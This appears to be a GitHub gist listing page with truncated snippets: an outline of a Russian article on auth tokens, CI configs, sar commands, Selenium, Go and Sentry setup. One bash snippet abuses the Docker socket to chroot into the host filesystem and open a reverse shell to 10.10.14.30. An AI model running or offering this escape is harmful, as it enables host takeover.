Last major update: 25.08.2020
- Что такое авторизация/аутентификация
- Где хранить токены
- Как ставить куки ?
- Процесс логина
- Процесс рефреш токенов
- Кража токенов/Механизм контроля токенов
#!/bin/bash | |
# you can see images availables with | |
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | |
# here we have sandbox:latest | |
# command executed when container is started | |
# change dir to tmp where the root fs is mount and execute reverse shell | |
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]" |
#!/usr/bin/env python3 | |
"""Prints a PlantUML diagram that shows the DAG of the GitLab pipeline""" | |
import sys | |
import yaml | |
from pprint import pprint | |
def merge(user, default): | |
if isinstance(user,dict) and isinstance(default,dict): | |
for k,v in default.items(): |
image: an-image-with-docker-and-docker-compose | |
variables: | |
DOCKER_TLS_VERIFY: "1" | |
DOCKER_CERT_PATH: ".docker" | |
before_script: | |
- mkdir -p $DOCKER_CERT_PATH | |
- echo "$DOCKER_CA" > $DOCKER_CERT_PATH/ca.pem | |
- echo "$DOCKER_CERT" > $DOCKER_CERT_PATH/cert.pem |
# за 20-30 минут до начала прогрузки запустить сбор всех метрик (-A) | |
# с частотой раз в 10 сек, на 6 часов: 6 * 60 * 60 / 10 == 2160 циклов сбора метрики | |
timestamp=`date "+%s"`; nohup sar -A -o sar_`hostname`_${timestamp}.out 10 2160 & | |
# через 6 часов, полученный файл можно сразу переконвертировать в формат csv | |
LC_ALL=C sar -A -f sar_`hostname`_${timestamp}.out > sar_`hostname`_${timestamp}.csv |
build:install-vendor: | |
stage: build | |
image: <any-image-with-composer> | |
before_script: | |
- composer config -g cache-dir "$(pwd)/.composer-cache" | |
script: | |
- composer install --ignore-platform-reqs --no-dev --optimize-autoloader --no-ansi --no-interaction --no-progress | |
cache: | |
paths: | |
- .composer-cache/ |
# Install chromedriver from https://sites.google.com/a/chromium.org/chromedriver/downloads | |
import os | |
from optparse import OptionParser | |
from selenium import webdriver | |
from selenium.webdriver.chrome.options import Options | |
CHROME_PATH = '/usr/bin/google-chrome' |
package channel | |
import ( | |
"fmt" | |
"sync" | |
"time" | |
) | |
func ExampleUnbufferedSend() { | |
c1 := make(chan string) |
# Project: https://github.com/getsentry/sentry | |
# Doc: https://docs.getsentry.com/on-premise/server/installation/python/ | |
udo apt-get update | |
sudo apt-get install python-virtualenv | |
sudo apt-get install python-setuptools | |
sudo apt-get install python-pip | |
sudo apt-get install libxslt1-dev | |
sudo apt-get install gcc |